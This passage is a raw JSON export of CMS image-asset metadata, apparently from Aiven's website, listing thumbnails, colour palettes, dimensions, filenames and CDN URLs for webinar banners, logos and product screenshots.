dmd2A94qDFdtT0DlnbzNnQZoudpha76Rt64KAN4cTJDrp7XIiBAUT/JTy+4B9Efz/eQANjbngNXzQ7AdzegOk5XV7OnD2HcL6zl4nJKWKyQnRGYkaSkeMKcSWBkjBI7kKi0UsmuTMdIRgcQejpcTMdniGtzpNKqaTTGTKZeeazWXK5HPl8fley2RyqmkOKzREamkBw9oncS2VYWX3F67Uia+sNisUSxVKpoTsold6YFLdZXy+xulJk4fELbt+YQ3C5fBSePWfz+w9+VnV0vUatVjfRa3WqWzrVqm5mxmx4tXqdLb1OVTe0hq7/4svnTR7mXyL0XRRZePKUDx8/sbFRRtM0KpWKiaZVKJc10/+6Ud7OG1lZq7Bh5JrG5uY33r19z3yqgNDb6yaRmGVxcZGlpWWWl/9maZt/ZYVCgQf3H3FtbNo4iotwOIqqGgdJ7wlVVVGUBMNDVxCcTp+5cK/L0jsXhi4jeNxDRCIx0mmVlFlQzcL/kMlkUJQkodBVhM5OJ+Pjk0SiMcLRmKkzMQlJMpB3EN9GQZYSxOUkcXkWWZolLt9l6lYEj3sYweE4RVfXBdweHy63z1SP6EcUA3iNtzK1H593EJ8Ywi+OEPSNMhAYYzB4nUH/BMPBm3ico3Sc7uY3DFyRPFKt4/sAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#443a6a","foreground":"#fff","population":0.07,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2c0c8c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#443a6a","foreground":"#fff","population":0.07,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcc1cd","foreground":"#000","population":0.04,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcd7e9","foreground":"#000","population":0.02,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#746c89","foreground":"#fff","population":0.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4914ea","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"qovery-ui-1.png","path":"images/sczeoy4w/production/3301bf9e3bc0f0a4924fc9d73ea23e490ef6a753-1976x1280.png","sha1hash":"3301bf9e3bc0f0a4924fc9d73ea23e490ef6a753","size":657179,"title":null,"uploadId":"jVYbF0uq04L2FkNKv3vpjs2YU0DvMEwd","url":"https://cdn.sanity.io/images/sczeoy4w/production/3301bf9e3bc0f0a4924fc9d73ea23e490ef6a753-1976x1280.png"} {"_createdAt":"2023-10-19T06:33:20Z","_id":"image-33491fd774a931a2bf65552135e31a807d340402-1200x628-png","_rev":"zE08g5Yj02ino50zLdTPFi","_type":"sanity.imageAsset","_updatedAt":"2023-10-19T06:33:20Z","assetId":"33491fd774a931a2bf65552135e31a807d340402","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5TM[C.#g3;3iw}XjGf*jZfQhga0e.kWb^","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAABkklEQVQokZXSTW8SYRSG4WfGxhqKISiNRhKoRo2bxsSFiXvXJraW2pbQNg1SPjoyILQS0Bo1fvzo5zbDUCVUFy7e7ZVz3vuIl4INwaZgS7At2BVUBTXBgeBIUBc0hFvCHUEkHAv6goFgKDgVmmL/AdISdIQjQSzcFx4IJ+AwAS8mfBVAJfgr6CPhuvDChHQTbAmPr+NxBp8GswmrOWjfh2YJ6qvQvAXt29C+CY0Mbizj1jUcreA4i/tZPFjBwwz+UMA/HuBvJTy6OgOb9+D7C/j8HM6ewOQpfHqGx48hvoOjPO6t4vclPFnDH9fweRmfF/GXMv75EH8tzoH7BYjXofsI2iWIyhDfhW4RWjnczOBOFvdu4GEBnxXwKHl5PM7jSQ6PltOVvSG8GeDKEt6+gndCvBfiWogPQnwYpH/4Rvg4wO0An4S4G+JegN8FeJi8NEwa5XeYWeUdwd4/KjfTyhdRLp3NdMLplMJbwq+Fd4WrwjXhw7nKx38q+216h/Nn40tgZQHcnwOnK8/AkwVwhiXgL3ym5cDu3xGNAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#973101","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#832b01","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":22.1,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b9c6ae","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fbbf6f","foreground":"#000","population":0.26,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#af7658","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":22.1,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Customer case social media image template Orange.png","path":"images/sczeoy4w/production/33491fd774a931a2bf65552135e31a807d340402-1200x628.png","sha1hash":"33491fd774a931a2bf65552135e31a807d340402","size":35128,"uploadId":"qnEspOD9juiA87rXvGMdMGK8Ytv5y1Ix","url":"https://cdn.sanity.io/images/sczeoy4w/production/33491fd774a931a2bf65552135e31a807d340402-1200x628.png"} {"_createdAt":"2023-09-06T08:36:00Z","_id":"image-336c8ba993307418150e5bb5cd61fe1728243897-1750x375-png","_rev":"jBJgpqpGruZvOgVMUB6npX","_type":"sanity.imageAsset","_updatedAt":"2023-09-06T08:36:29Z","altText":"Cobranding logos Aiven and Google","assetId":"336c8ba993307418150e5bb5cd61fe1728243897","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4.666666666666667,"height":375,"width":1750},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAYAAACOXx+WAAAACXBIWXMAABJ0AAASdAHeZh94AAABTUlEQVQYlRXMXStDcRwH8O9/Z9pswnYma/PUQcecbf/fsTbH05ztapriwtJK5IISxbHm4XCxWKE8FZHk0o1b7UYk5cabUHPjFZArk88L+OB3IF372zvmeIqkrF08LKhEVuJcIDVikZrcrE1fZUNbH1WjhU/bjnknvJz1sbnrBWGqOGnV1BbBCghgYAxgACyopGMTP0k9eROLyyonmRMPEqcQEclKQBbbEyuOYbPsn19/6y7lFuXn0/HO7eP9UMFYVvL9QV89gwjAxQAXAC8qme6F75SWudT6tQgnjRMfIs51ItKCSsDfri/VJMxy80rusefZmIk9nGQHzMPzkeKyqe8OqpKHofE/YoAPgITKrK/jazzUcjUYbYgSiWHOReLcQ0SuoBKwt/ZNC4mNd/uaUap7NbLu26O8d/HgXtpcvfDtxTWnB7ABzM6AagDOPzvKT5VNyyLnAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#622e34","foreground":"#fff","population":0.2,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0a2c92","foreground":"#fff","population":0.09,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ef4741","foreground":"#fff","population":0.93,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8d100b","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ef4741","foreground":"#fff","population":0.93,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5174ad","foreground":"#fff","population":0.2,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dd6210","foreground":"#fff","population":0.3,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"logo-cobranding-aiven-GCP.png","path":"images/sczeoy4w/production/336c8ba993307418150e5bb5cd61fe1728243897-1750x375.png","sha1hash":"336c8ba993307418150e5bb5cd61fe1728243897","size":95834,"title":null,"uploadId":"L6MZEhuz7fyyDwQSuB5MbQlXMz1DVHvm","url":"https://cdn.sanity.io/images/sczeoy4w/production/336c8ba993307418150e5bb5cd61fe1728243897-1750x375.png"} {"_createdAt":"2023-09-06T08:33:18Z","_id":"image-33b34cf2581794cadec9c61e9173c3be5a6610d8-3358x968-png","_rev":"jBJgpqpGruZvOgVMUB6Zah","_type":"sanity.imageAsset","_updatedAt":"2023-09-06T08:33:18Z","assetId":"33b34cf2581794cadec9c61e9173c3be5a6610d8","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.46900826446281,"height":968,"width":3358},"exif":{"PixelXDimension":3358,"PixelYDimension":968,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAABYlAAAWJQFJUiTwAAABEUlEQVQYlV2Qz0rDQBDGV8HWS0EQGkToUUGxRUoJCKIHT170IgXJe+jrWAWLIiroWXyfbrMN2b9J+GSSbkg9fOzONzO/mV0WhBG2wwgnt/eYfv9CLBI455BlGfI8r0Ux+UorSClXpFTlJUkCthVG6IwijMZ3ePr6ARcxrLU1sCiKUnS3zkJrDWNMPTRriDy22Rui3Rvi+OIGk9dP8HheNhD0P5AafI7uzXyxrGHtYB+t7h4Gp5d4eH7DjPPlFlWTn+xFWxLQQyvPlKJa1trtY2PnCIPza0ym75jxeQn0TyP52EOap9QSCymQaAHjNNh6cIi17gH6Z1d4fPlAHIsViBd9vDYVtAlMVYo45RCKQ1mJPypLpNrnq4UXAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#273a52","foreground":"#fff","population":0.53,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#051225","foreground":"#fff","population":11.71,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#051225","foreground":"#fff","population":11.71,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c0c3c2","foreground":"#000","population":2.14,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c2eba4","foreground":"#000","population":0.18,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a65886","foreground":"#fff","population":0.06,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2493f6","foreground":"#fff","population":0.88,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"flink-bq-flink-ui.png","path":"images/sczeoy4w/production/33b34cf2581794cadec9c61e9173c3be5a6610d8-3358x968.png","sha1hash":"33b34cf2581794cadec9c61e9173c3be5a6610d8","size":231623,"uploadId":"IkxnIHXFa1SfeT2jynhvkgrQSNgYhijo","url":"https://cdn.sanity.io/images/sczeoy4w/production/33b34cf2581794cadec9c61e9173c3be5a6610d8-3358x968.png"} {"_createdAt":"2022-06-30T11:51:35Z","_id":"image-33bed990e1798a0ac7a0f173fc85e63cf8ea5d35-700x173-png","_rev":"CK1sLU2mnwa3vmbYWEbFrl","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:17:12Z","assetId":"33bed990e1798a0ac7a0f173fc85e63cf8ea5d35","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D04n_N?axt%MIUs:IURj%3Rj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4.046242774566474,"height":173,"width":700},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAIAAADKYVtkAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAqUlEQVQYlWWOy43FMAwD04gl6mfFjpX+y3uws7cFBjxpKF4ZYQCIXGXeY97DRECNqYHYRE3EgJH5Vr1VI1MBbo1bu9ac3czALnAVV1WBgMAkjDAPVWVWYLeI6PkEoi2/Vel+TJicC4WbKLbQPXY1s/wDRNeaz+g9I+7e79xk9uzhewFcNcy+RW4b+1JFmK+MeOasZ77rqbXWqlpr3OmqOPV7sOrH0f4Q4AdZLyk7RqY6FgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c443c","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1c1404","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b8b6b7","foreground":"#000","population":0.1,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b8b6b7","foreground":"#000","population":0.1,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eecd8a","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#747c84","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#df9f1f","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"33bed990e1798a0ac7a0f173fc85e63cf8ea5d35-700x173.png","path":"images/sczeoy4w/production/33bed990e1798a0ac7a0f173fc85e63cf8ea5d35-700x173.png","sha1hash":"33bed990e1798a0ac7a0f173fc85e63cf8ea5d35","size":12309,"uploadId":"zxyZA0sMRiQmKDnXU2tel1Eg54MBcEdp","url":"https://cdn.sanity.io/images/sczeoy4w/production/33bed990e1798a0ac7a0f173fc85e63cf8ea5d35-700x173.png"} {"_createdAt":"2022-10-03T10:31:29Z","_id":"image-33ed4f3c9bc9c8272cda5d6f71c00fa9e89bae80-1280x720-jpg","_rev":"vDQRRYe9nRreptIRp9y1DV","_type":"sanity.imageAsset","_updatedAt":"2022-10-03T10:31:29Z","assetId":"33ed4f3c9bc9c8272cda5d6f71c00fa9e89bae80","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":720,"width":1280},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAQBAwj/xAAhEAABBAEEAwEAAAAAAAAAAAABAAIDESExMkFRBCMzUv/EABcBAAMBAAAAAAAAAAAAAAAAAAABAwT/xAAZEQACAwEAAAAAAAAAAAAAAAAAAQMR8BP/2gAMAwEAAhEDEQA/ANIiWcbmA3LQzwhrphpHrL+uO0sWgnJP37KkCtC779lI1ctmO+O6epLjG81lCo8a/bl288lCLJuOmf/Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c3c3c","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ac0c34","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f88ead","foreground":"#000","population":0.85,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c69499","foreground":"#000","population":0.05,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f88ead","foreground":"#000","population":0.85,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#539c6b","foreground":"#fff","population":0.07,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6235b","foreground":"#fff","population":0.35,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"InfluxDB-connect.jpg","path":"images/sczeoy4w/production/33ed4f3c9bc9c8272cda5d6f71c00fa9e89bae80-1280x720.jpg","sha1hash":"33ed4f3c9bc9c8272cda5d6f71c00fa9e89bae80","size":92489,"uploadId":"w4W9iX6Ivxjb0SsuWyuWHXGy5gG0K8wj","url":"https://cdn.sanity.io/images/sczeoy4w/production/33ed4f3c9bc9c8272cda5d6f71c00fa9e89bae80-1280x720.jpg"} {"_createdAt":"2024-05-07T19:25:38Z","_id":"image-33f7264bebd5eae766c9f4b55906dc796b410d11-1200x630-png","_rev":"D7vB9OkcEm2Q5QYimESp5q","_type":"sanity.imageAsset","_updatedAt":"2024-05-07T19:25:38Z","assetId":"33f7264bebd5eae766c9f4b55906dc796b410d11","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M471pw~FD#V@?F%joyRhf.Ri0gE1s+Ri9b","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACjklEQVQokU2Te1MSYRSH9xM0Ncq6wO6CLHsDubhI5W3QqVadsEGtcMzRMiy8oZYXSNAIsnTUPvLT7OI0/XHmvcy8z/n9zjmv8EBc5FHwNX3hZQLKKqK6jhj5yMDgZ4KxHULaPiH9K7J5imKeIZvnhM02stkmbJwT0psE498I6d/8e8GDyfFVjFQFK7uFmdnBSNcws1+wnWNsp47lnJEYuSCZ72AOd4lnLomlL1HsNiG9RUg/60GNc4SAUibhfKbgnvKi2KIw02TieYuC26Yw06Uw84vC7DWF2Rsm3TseT92Sm7wjPXrL4FD3n0pPoQcWRHWZ7OMt3JcNiott3OJ3pmYumJ7rMD33kxfF38yVbnFf/WHs2Q2pJ79J5K+wctdEkl3C5ndfmQ81Wgjh2ArTU1VKs1XGJ7ZJOHsYmZ7l1MgRrntC+XWLabeLOdxGsc5R7B8odue+jhc9lUbLhwvxxHvevz1k980GY7l3DKhr9Ckf6Fc3iVlVVhZqNPdaFOfbqFYDSav3HhsX97Vr+KtXSx8YNdcoze+zMr9JPreOrG0wEK3Qp2wSNbdYKtU52L7CneugWidI2hHBeP2+uw0k7fjf2UsiiGqZtFMh/7RKyqlipLcZtLcJalVUs0Z+oknB7ZAdbRFNHBPWvxL0oQ2/s5J24u892/7YiKElTH2FVLqCnd1CS3qxg5k5ZChf90HpJ00sp07E9mAHSLFDgtrpf5abvdm0uggBqYQRWSJpr6EPfULWK6hmlWTuCGe8SXa0SXKkgZ45RtYPEKN7iNEaUqyn0oN6Vj2YYv9CeCgu0C8tIspl/6f0y2sE1A1CWhXFqKEYB4T1fYKaB9ohEPFil4HBQyRfZU+dYl+iJq74C8aqhxCYHxc6AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#36376d","foreground":"#fff","population":0.65,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c177c","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#1c2885","foreground":"#fff","population":12.51,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8a94c1","foreground":"#000","population":0.31,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7980c2","foreground":"#fff","population":0.52,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b57853","foreground":"#fff","population":0.6,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1c2885","foreground":"#fff","population":12.51,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"AIVEN WEBINAR May 30, 2024 (1).png","path":"images/sczeoy4w/production/33f7264bebd5eae766c9f4b55906dc796b410d11-1200x630.png","sha1hash":"33f7264bebd5eae766c9f4b55906dc796b410d11","size":246663,"uploadId":"60RkHEhrX5qwb70134CtBvMTc8THWSz1","url":"https://cdn.sanity.io/images/sczeoy4w/production/33f7264bebd5eae766c9f4b55906dc796b410d11-1200x630.png"} {"_createdAt":"2022-09-02T15:21:07Z","_id":"image-343002c7c55ef22c1989118db3fe1e6b085525ad-860x860-jpg","_rev":"EU2LgqOF5HzqTxO9PWQlsi","_type":"sanity.imageAsset","_updatedAt":"2022-09-02T15:21:07Z","assetId":"343002c7c55ef22c1989118db3fe1e6b085525ad","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eKI.$|3UH@0g-o|uE#xa-BkCIBNG%f={E2r?oeODWVwd-Us:J7ayae","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":860,"width":860},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGAABAAMBAAAAAAAAAAAAAAAAAAMEBQb/xAAnEAABAwMCBQUBAAAAAAAAAAACAQMEAAURBhIhIiMxYQcTMkFRcf/EABYBAQEBAAAAAAAAAAAAAAAAAAUGBP/EAB8RAAEEAgIDAAAAAAAAAAAAAAEAAgMSBBEhMRNBcf/aAAwDAQACEQMRAD8A5F4ZNwnxLdb13vvLyovYfK1qSoc/T92btl5VsnDHcDgdl8VS0FeYjeuohT2lVkstiqfSr2zUvrHfocjVLEeFzOxS6xiuf4lGSR2Ndek/jZboX3aeN9LbDZtTjSucG4bhEkVcKmaUdUqu8ii0Ow2GoDc2IRCiqm7jhcVTskJi4Xmc7LD3HCIyVV/c0pTDuyoqMDbfqhf6b7gD8RLCUpSsDhyqaMmoX//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#56342c","foreground":"#fff","population":2.77,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#941c0c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f5c4a3","foreground":"#000","population":9.46,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d09c94","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f5c4a3","foreground":"#000","population":9.46,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#995e52","foreground":"#fff","population":4.07,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d14a35","foreground":"#fff","population":9,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"soumya-bijjal.jpg","path":"images/sczeoy4w/production/343002c7c55ef22c1989118db3fe1e6b085525ad-860x860.jpg","sha1hash":"343002c7c55ef22c1989118db3fe1e6b085525ad","size":63132,"uploadId":"Sgg27lrac7yFgmDKJH2fACS1dHzxzLBo","url":"https://cdn.sanity.io/images/sczeoy4w/production/343002c7c55ef22c1989118db3fe1e6b085525ad-860x860.jpg"} {"_createdAt":"2022-06-14T14:41:11Z","_id":"image-34447c633d5a1f7e463ff9cfb8839e6f2fc59d6b-205x226-jpg","_rev":"0HOthdQkSgJdYc0C9r2iJD","_type":"sanity.imageAsset","_updatedAt":"2022-06-14T14:41:11Z","assetId":"34447c633d5a1f7e463ff9cfb8839e6f2fc59d6b","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eVHBM8t5xt%1RQ}?xuIpxZoM^jj]ogjENG%2NHR*ofR*xtX8f+R*so","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.9070796460176991,"height":226,"width":205},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAWABQDASIAAhEBAxEB/8QAGQABAAIDAAAAAAAAAAAAAAAAAAUHAQIG/8QAJhAAAQMEAQQBBQAAAAAAAAAAAgEDBAAFERIGFCEiMUETMlFhcf/EABgBAAIDAAAAAAAAAAAAAAAAAAEEAAIF/8QAHREAAgMAAgMAAAAAAAAAAAAAAAECAxEEISIxof/aAAwDAQACEQMRAD8A6u7cnSBZJRSw2YZyWyfFRkfm9sHj7cx8DFFHYBx3L+VXV/5CVxsb7TxqgKaA5449rWlqnDdLZ08dpJcuIugiqomqfBY/FZUaHZHyQ9Hk4nJEnc+ZchuEopEJtuNHJPFtUyqJ+6VmHFvLTOsuCP1FXPtPVKji11hdWJrW/o5Nx5k+B6R9WniMXHHMfdiq6t9wW33gIzAaypCix1ArhRRffalKeo9ClqL/AAiiDLLZERqAIOyr3XCUpShiBrP/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#503b29","foreground":"#fff","population":5.91,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4b561b","foreground":"#fff","population":0.12,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#503b29","foreground":"#fff","population":5.91,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cabea3","foreground":"#000","population":0.72,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4b073","foreground":"#000","population":0.67,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a49165","foreground":"#fff","population":4.61,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e29c53","foreground":"#000","population":0.17,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"IMG_20200628_082826.jpg","path":"images/sczeoy4w/production/34447c633d5a1f7e463ff9cfb8839e6f2fc59d6b-205x226.jpg","sha1hash":"34447c633d5a1f7e463ff9cfb8839e6f2fc59d6b","size":14225,"uploadId":"kXB6P2sxgpNmNTz5M23n9wDGpQFqRNBJ","url":"https://cdn.sanity.io/images/sczeoy4w/production/34447c633d5a1f7e463ff9cfb8839e6f2fc59d6b-205x226.jpg"} {"_createdAt":"2023-11-01T16:50:57Z","_id":"image-34585453f97d827758ec195bf9a7d017c6697a95-900x300-png","_rev":"URGvS4Je6KJVSLklv74GxR","_type":"sanity.imageAsset","_updatedAt":"2023-11-01T16:50:57Z","assetId":"34585453f97d827758ec195bf9a7d017c6697a95","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D6I#x{_300bc00~q%MRjIU9F","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3,"height":300,"width":900},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAAC4jAAAuIwF4pT92AAABuElEQVQokVWRPWtUURCGZ1USAyuYQpEUxsYiKCgaVLQUBAtb0wQtRMTaRsFCsBeJjVUqJX/BH6AWol0CG5P9vJt7du+uez/OPfd8zDlz5CxZMQMPMwzMU7wDRB4cERAReO9PeO8XAoh4/OXbDZhbugWhvPfwbacHvzopjAoFGi1YN705wkwUmLPWXUWDTxHxkZRyZXt753yj0bjRbLWu7DXbi5VUdefogiO6RESXiegiES16748FR3CBtXYmrCulHgshvgtRfeGcP2w299f6UffzgLHN/kF8fzjh1yelflVU5pNQuFVp+04aexetO2msA40OQGszE54qhXiWZvnvLM9/ZHm+3ul2nzAW/xwOk92DmL2IkuxBnMqtUaGiTBiWV+Yrl7iujK1X2oJQCGAQZ8L5qpL3Ci42eSk+8FLcaXd7qzEbvGGD5GPUj9fiUbY65vp5Ksx7LnGDS3wtFN7W6OaDMPB/hjWD9ozS9qYy9po2eHp3r7XQ6fWXe1G8st/qnBv/SUOGZ62j5UOWrKOwq4UHOUcARVGANhYM/suydgiwJD3yQec9TEoNg0xOGWZq2sdcQzspp/NfSVWlXafnRW4AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#444444","foreground":"#fff","population":0.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#044c84","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#aabac8","foreground":"#000","population":0.29,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#aabac8","foreground":"#000","population":0.29,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#aae6fc","foreground":"#000","population":0.02,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#788e9e","foreground":"#fff","population":0.09,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#347cb4","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Untitled design 